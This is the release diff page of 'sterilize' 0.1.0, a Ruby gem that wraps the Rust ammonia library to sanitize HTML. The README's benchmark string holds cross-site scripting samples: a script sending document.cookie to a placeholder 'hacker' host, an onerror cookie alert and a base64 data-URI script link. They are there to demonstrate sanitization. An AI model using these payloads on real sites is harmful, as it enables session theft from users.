sterilize 0.1.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- data/.gitignore +20 -0
- data/.rspec +3 -0
- data/.travis.yml +7 -0
- data/Cargo.toml +15 -0
- data/Gemfile +4 -0
- data/Gemfile.lock +44 -0
- data/LICENSE.txt +21 -0
- data/README.md +83 -0
- data/Rakefile +11 -0
- data/bin/console +14 -0
- data/bin/setup +8 -0
- data/ext/Rakefile +5 -0
- data/lib/sterilize/version.rb +3 -0
- data/lib/sterilize.rb +4 -0
- data/src/lib.rs +26 -0
- data/sterilize.gemspec +31 -0
- metadata +130 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 52021755327b9ea99dea57be29db96ed3ca38df07409a5877e0effe731119287
|
4
|
+
data.tar.gz: a20113d09ce7afdc71ef8d3dfab061d36961f59278949fa9b917fbf4c2b7aa4a
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 6686096485f43b5ebe074f349d2ee7bc1dd9cb1d1b1d8dee925cdc133bb9828509563b17ce6ddc15e443e1c28b3cf199e865a60906e4a4ac515f48d5d9cdf590
|
7
|
+
data.tar.gz: 3e7081d64fc28c1d03433f0bb8b936a8036080dd23954ca1b5b5ac8c1c8ac108585e8ac0ae96b769c3eb4f515ab2ce994e1d2c3458431b2f9349f22e14d2af17
|
data/.gitignore
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
/.bundle/
|
2
|
+
/.yardoc
|
3
|
+
/_yardoc/
|
4
|
+
/coverage/
|
5
|
+
/doc/
|
6
|
+
/pkg/
|
7
|
+
/spec/reports/
|
8
|
+
/tmp/
|
9
|
+
|
10
|
+
# rspec failure tracking
|
11
|
+
.rspec_status
|
12
|
+
|
13
|
+
|
14
|
+
#Added by cargo
|
15
|
+
#
|
16
|
+
#already existing elements are commented out
|
17
|
+
|
18
|
+
/target
|
19
|
+
**/*.rs.bk
|
20
|
+
Cargo.lock
|
data/.rspec
ADDED
data/.travis.yml
ADDED
data/Cargo.toml
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
[package]
|
2
|
+
name = "sterilize"
|
3
|
+
version = "0.1.0"
|
4
|
+
authors = ["Martin Feckie <mfeckie@gmail.com>"]
|
5
|
+
edition = "2018"
|
6
|
+
|
7
|
+
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
8
|
+
|
9
|
+
[dependencies]
|
10
|
+
rutie = "0.7.0"
|
11
|
+
ammonia = "3.0.0"
|
12
|
+
|
13
|
+
[lib]
|
14
|
+
name = "sterilize"
|
15
|
+
crate-type = ["dylib"]
|
data/Gemfile
ADDED
data/Gemfile.lock
ADDED
@@ -0,0 +1,44 @@
|
|
1
|
+
PATH
|
2
|
+
remote: .
|
3
|
+
specs:
|
4
|
+
sterilize (0.1.0)
|
5
|
+
rutie (~> 0.0.3)
|
6
|
+
thermite (~> 0)
|
7
|
+
|
8
|
+
GEM
|
9
|
+
remote: https://rubygems.org/
|
10
|
+
specs:
|
11
|
+
diff-lcs (1.3)
|
12
|
+
minitar (0.9)
|
13
|
+
rake (10.4.2)
|
14
|
+
rspec (3.8.0)
|
15
|
+
rspec-core (~> 3.8.0)
|
16
|
+
rspec-expectations (~> 3.8.0)
|
17
|
+
rspec-mocks (~> 3.8.0)
|
18
|
+
rspec-core (3.8.2)
|
19
|
+
rspec-support (~> 3.8.0)
|
20
|
+
rspec-expectations (3.8.4)
|
21
|
+
diff-lcs (>= 1.2.0, < 2.0)
|
22
|
+
rspec-support (~> 3.8.0)
|
23
|
+
rspec-mocks (3.8.1)
|
24
|
+
diff-lcs (>= 1.2.0, < 2.0)
|
25
|
+
rspec-support (~> 3.8.0)
|
26
|
+
rspec-support (3.8.2)
|
27
|
+
rutie (0.0.4)
|
28
|
+
thermite (0.13.0)
|
29
|
+
minitar (~> 0.5)
|
30
|
+
rake (>= 10)
|
31
|
+
tomlrb (~> 1.2)
|
32
|
+
tomlrb (1.2.8)
|
33
|
+
|
34
|
+
PLATFORMS
|
35
|
+
ruby
|
36
|
+
|
37
|
+
DEPENDENCIES
|
38
|
+
bundler (~> 2.0)
|
39
|
+
rake (~> 10.0)
|
40
|
+
rspec (~> 3.6)
|
41
|
+
sterilize!
|
42
|
+
|
43
|
+
BUNDLED WITH
|
44
|
+
2.0.2
|
data/LICENSE.txt
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
|
3
|
+
Copyright (c) 2019 Martin Feckie
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in
|
13
|
+
all copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
21
|
+
THE SOFTWARE.
|
data/README.md
ADDED
@@ -0,0 +1,83 @@
|
|
1
|
+
# Sterilize
|
2
|
+
|
3
|
+
Sterilize is a gem which uses the Rust library [ammonia](https://github.com/rust-ammonia/ammonia) to provide text sanitization
|
4
|
+
|
5
|
+
> Ammonia is a whitelist-based HTML sanitization library. It is designed to prevent cross-site scripting, layout breaking, and clickjacking caused by untrusted user-provided HTML being mixed into a larger web page.
|
6
|
+
|
7
|
+
## Why not Loofah
|
8
|
+
|
9
|
+
Loofah is popular, but can be difficult to deal with in terms of configuration and usage. `Sterilize` aims to be essentially zero configuration and provides a very simple API (one method!). Give it a string and get back a sanitized version.
|
10
|
+
|
11
|
+
Take a look at the specs directory to see some of the cases that get handled. They are mostly provided for documentation purposes as the `ammonia` library is extensively [tested](https://github.com/rust-ammonia/ammonia/blob/master/src/lib.rs)
|
12
|
+
|
13
|
+
Finally, Sterilize is _fast_.
|
14
|
+
|
15
|
+
```ruby
|
16
|
+
unsafe_string = "I am nice safe user input, nothing to see here.. <script>console.log('installing bitcoin miner')</script><SCRIPT>var+img=new+Image();img.src='http://hacker/'%20+%20document.cookie;</SCRIPT><img src='http://url.to.file.which/not.exist' onerror=alert(document.cookie);><a href='data:text/html;base64,PHNjcmlwdD5hbGVydCgna25pZ2h0c3RpY2sgd2FzIGhlcmUnKTwvc2NyaXB0Pg=='>HACK HACK HACK</a>" * 10000
|
17
|
+
|
18
|
+
Benchmark.bm do | benchmark |
|
19
|
+
benchmark.report("Sterilize") do
|
20
|
+
50.times do
|
21
|
+
Sterilize.perform(unsafe_string)
|
22
|
+
end
|
23
|
+
end
|
24
|
+
benchmark.report("Loofah") do
|
25
|
+
50.times do
|
26
|
+
Loofah.scrub_fragment(unsafe_string, :prune).to_str
|
27
|
+
end
|
28
|
+
end
|
29
|
+
end
|
30
|
+
```
|
31
|
+
|
32
|
+
As you can see, Sterilize can operate significatnly faster. As with all benchmarks though, your mileage may vary and it's important to see how things work in practice for you.
|
33
|
+
|
34
|
+
| Library | user | system | total | real |
|
35
|
+
| --------- | ---------- | -------- | ---------- | ------------ |
|
36
|
+
| Sterilize | 74.585432 | 0.250712 | 74.836144 | ( 75.194400) |
|
37
|
+
| Loofah | 110.456900 | 0.619901 | 111.076801 | (111.206092) |
|
38
|
+
|
39
|
+
## Installation
|
40
|
+
|
41
|
+
In order to use this library you will need to have access to Rust's build tooling [cargo](https://doc.rust-lang.org/cargo/getting-started/installation.html), this simplest way to get this is via [rustup](https://rustup.rs/).
|
42
|
+
|
43
|
+
After ensuring you have these things available, add the gem to your bundle
|
44
|
+
|
45
|
+
```ruby
|
46
|
+
gem 'sterilize'
|
47
|
+
```
|
48
|
+
|
49
|
+
And then execute:
|
50
|
+
|
51
|
+
$ bundle
|
52
|
+
|
53
|
+
Or install it yourself as:
|
54
|
+
|
55
|
+
$ gem install sterilize
|
56
|
+
|
57
|
+
`sterilize` includes a Rake take which will compile the Rust library for your platform and copy it to the correct location.
|
58
|
+
|
59
|
+
## Usage
|
60
|
+
|
61
|
+
`sterilize` provides a single method, `Sterilize.perform` which accepts a string.
|
62
|
+
|
63
|
+
```shell
|
64
|
+
pry(main)> unsafe_string = "I am nice safe user input, nothing to see here.. <script>console.log('installing bitcoin miner')</script>"
|
65
|
+
pry(main)> Sterilize.perform(unsafe_string)
|
66
|
+
=> "I am nice safe user input, nothing to see here.. "
|
67
|
+
```
|
68
|
+
|
69
|
+
Passing anything other than a `String` will result in an error.
|
70
|
+
|
71
|
+
## Development
|
72
|
+
|
73
|
+
After checking out the repo, run `bin/setup` to install dependencies. Then, run `rake spec` to run the tests. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
|
74
|
+
|
75
|
+
To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and tags, and push the `.gem` file to [rubygems.org](https://rubygems.org).
|
76
|
+
|
77
|
+
## Contributing
|
78
|
+
|
79
|
+
Bug reports and pull requests are welcome on GitHub at https://github.com/[USERNAME]/sterilize. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [Contributor Covenant](http://contributor-covenant.org) code of conduct.
|
80
|
+
|
81
|
+
## License
|
82
|
+
|
83
|
+
The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).
|
data/Rakefile
ADDED
data/bin/console
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
|
3
|
+
require "bundler/setup"
|
4
|
+
require "sterilize"
|
5
|
+
|
6
|
+
# You can add fixtures and/or initialization code here to make experimenting
|
7
|
+
# with your gem easier. You can also use a different console, if you like.
|
8
|
+
|
9
|
+
# (If you use this, don't forget to add pry to your Gemfile!)
|
10
|
+
# require "pry"
|
11
|
+
# Pry.start
|
12
|
+
|
13
|
+
require "irb"
|
14
|
+
IRB.start(__FILE__)
|
data/bin/setup
ADDED
data/ext/Rakefile
ADDED
data/lib/sterilize.rb
ADDED
data/src/lib.rs
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
#[macro_use]
|
2
|
+
extern crate rutie;
|
3
|
+
extern crate ammonia;
|
4
|
+
|
5
|
+
use ammonia::clean;
|
6
|
+
use rutie::{Module, Object, RString, VM};
|
7
|
+
|
8
|
+
module!(Sterilize);
|
9
|
+
|
10
|
+
methods!(
|
11
|
+
Sterilize,
|
12
|
+
_itself,
|
13
|
+
fn perform(input: RString) -> RString {
|
14
|
+
let dirty_string = input.map_err(|e| VM::raise_ex(e)).unwrap().to_string();
|
15
|
+
let sterile = clean(&dirty_string);
|
16
|
+
RString::new_utf8(&sterile)
|
17
|
+
}
|
18
|
+
);
|
19
|
+
|
20
|
+
#[allow(non_snake_case)]
|
21
|
+
#[no_mangle]
|
22
|
+
pub extern "C" fn Init_sterilize() {
|
23
|
+
Module::new("Sterilize").define(|itself| {
|
24
|
+
itself.def_self("perform", perform);
|
25
|
+
});
|
26
|
+
}
|
data/sterilize.gemspec
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
lib = File.expand_path("lib", __dir__)
|
2
|
+
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
3
|
+
require "sterilize/version"
|
4
|
+
|
5
|
+
Gem::Specification.new do |spec|
|
6
|
+
spec.name = "sterilize"
|
7
|
+
spec.version = Sterilize::VERSION
|
8
|
+
spec.authors = ["Martin Feckie"]
|
9
|
+
spec.email = ["mfeckie@gmail.com"]
|
10
|
+
|
11
|
+
spec.summary = %q{A performant Rust based HTML sanitization library}
|
12
|
+
spec.description = %q{}
|
13
|
+
spec.license = "MIT"
|
14
|
+
spec.homepage = "https://www.github.com/mfeckie/sterilize"
|
15
|
+
|
16
|
+
|
17
|
+
# Specify which files should be added to the gem when it is released.
|
18
|
+
# The `git ls-files -z` loads the files in the RubyGem that have been added into git.
|
19
|
+
spec.files = Dir.chdir(File.expand_path('..', __FILE__)) do
|
20
|
+
`git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
|
21
|
+
end
|
22
|
+
spec.bindir = "exe"
|
23
|
+
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
|
24
|
+
spec.extensions << 'ext/Rakefile'
|
25
|
+
spec.require_paths = ["lib"]
|
26
|
+
spec.add_dependency 'rutie', '~> 0.0.3'
|
27
|
+
spec.add_runtime_dependency 'thermite', '~> 0'
|
28
|
+
spec.add_development_dependency "bundler", "~> 2.0"
|
29
|
+
spec.add_development_dependency "rake", "~> 10.0"
|
30
|
+
spec.add_development_dependency "rspec", "~> 3.6"
|
31
|
+
end
|
metadata
ADDED
@@ -0,0 +1,130 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: sterilize
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.1.0
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Martin Feckie
|
8
|
+
autorequire:
|
9
|
+
bindir: exe
|
10
|
+
cert_chain: []
|
11
|
+
date: 2019-10-26 00:00:00.000000000 Z
|
12
|
+
dependencies:
|
13
|
+
- !ruby/object:Gem::Dependency
|
14
|
+
name: rutie
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
16
|
+
requirements:
|
17
|
+
- - "~>"
|
18
|
+
- !ruby/object:Gem::Version
|
19
|
+
version: 0.0.3
|
20
|
+
type: :runtime
|
21
|
+
prerelease: false
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
23
|
+
requirements:
|
24
|
+
- - "~>"
|
25
|
+
- !ruby/object:Gem::Version
|
26
|
+
version: 0.0.3
|
27
|
+
- !ruby/object:Gem::Dependency
|
28
|
+
name: thermite
|
29
|
+
requirement: !ruby/object:Gem::Requirement
|
30
|
+
requirements:
|
31
|
+
- - "~>"
|
32
|
+
- !ruby/object:Gem::Version
|
33
|
+
version: '0'
|
34
|
+
type: :runtime
|
35
|
+
prerelease: false
|
36
|
+
version_requirements: !ruby/object:Gem::Requirement
|
37
|
+
requirements:
|
38
|
+
- - "~>"
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: '0'
|
41
|
+
- !ruby/object:Gem::Dependency
|
42
|
+
name: bundler
|
43
|
+
requirement: !ruby/object:Gem::Requirement
|
44
|
+
requirements:
|
45
|
+
- - "~>"
|
46
|
+
- !ruby/object:Gem::Version
|
47
|
+
version: '2.0'
|
48
|
+
type: :development
|
49
|
+
prerelease: false
|
50
|
+
version_requirements: !ruby/object:Gem::Requirement
|
51
|
+
requirements:
|
52
|
+
- - "~>"
|
53
|
+
- !ruby/object:Gem::Version
|
54
|
+
version: '2.0'
|
55
|
+
- !ruby/object:Gem::Dependency
|
56
|
+
name: rake
|
57
|
+
requirement: !ruby/object:Gem::Requirement
|
58
|
+
requirements:
|
59
|
+
- - "~>"
|
60
|
+
- !ruby/object:Gem::Version
|
61
|
+
version: '10.0'
|
62
|
+
type: :development
|
63
|
+
prerelease: false
|
64
|
+
version_requirements: !ruby/object:Gem::Requirement
|
65
|
+
requirements:
|
66
|
+
- - "~>"
|
67
|
+
- !ruby/object:Gem::Version
|
68
|
+
version: '10.0'
|
69
|
+
- !ruby/object:Gem::Dependency
|
70
|
+
name: rspec
|
71
|
+
requirement: !ruby/object:Gem::Requirement
|
72
|
+
requirements:
|
73
|
+
- - "~>"
|
74
|
+
- !ruby/object:Gem::Version
|
75
|
+
version: '3.6'
|
76
|
+
type: :development
|
77
|
+
prerelease: false
|
78
|
+
version_requirements: !ruby/object:Gem::Requirement
|
79
|
+
requirements:
|
80
|
+
- - "~>"
|
81
|
+
- !ruby/object:Gem::Version
|
82
|
+
version: '3.6'
|
83
|
+
description: ''
|
84
|
+
email:
|
85
|
+
- mfeckie@gmail.com
|
86
|
+
executables: []
|
87
|
+
extensions:
|
88
|
+
- ext/Rakefile
|
89
|
+
extra_rdoc_files: []
|
90
|
+
files:
|
91
|
+
- ".gitignore"
|
92
|
+
- ".rspec"
|
93
|
+
- ".travis.yml"
|
94
|
+
- Cargo.toml
|
95
|
+
- Gemfile
|
96
|
+
- Gemfile.lock
|
97
|
+
- LICENSE.txt
|
98
|
+
- README.md
|
99
|
+
- Rakefile
|
100
|
+
- bin/console
|
101
|
+
- bin/setup
|
102
|
+
- ext/Rakefile
|
103
|
+
- lib/sterilize.rb
|
104
|
+
- lib/sterilize/version.rb
|
105
|
+
- src/lib.rs
|
106
|
+
- sterilize.gemspec
|
107
|
+
homepage: https://www.github.com/mfeckie/sterilize
|
108
|
+
licenses:
|
109
|
+
- MIT
|
110
|
+
metadata: {}
|
111
|
+
post_install_message:
|
112
|
+
rdoc_options: []
|
113
|
+
require_paths:
|
114
|
+
- lib
|
115
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
116
|
+
requirements:
|
117
|
+
- - ">="
|
118
|
+
- !ruby/object:Gem::Version
|
119
|
+
version: '0'
|
120
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
121
|
+
requirements:
|
122
|
+
- - ">="
|
123
|
+
- !ruby/object:Gem::Version
|
124
|
+
version: '0'
|
125
|
+
requirements: []
|
126
|
+
rubygems_version: 3.0.3
|
127
|
+
signing_key:
|
128
|
+
specification_version: 4
|
129
|
+
summary: A performant Rust based HTML sanitization library
|
130
|
+
test_files: []
|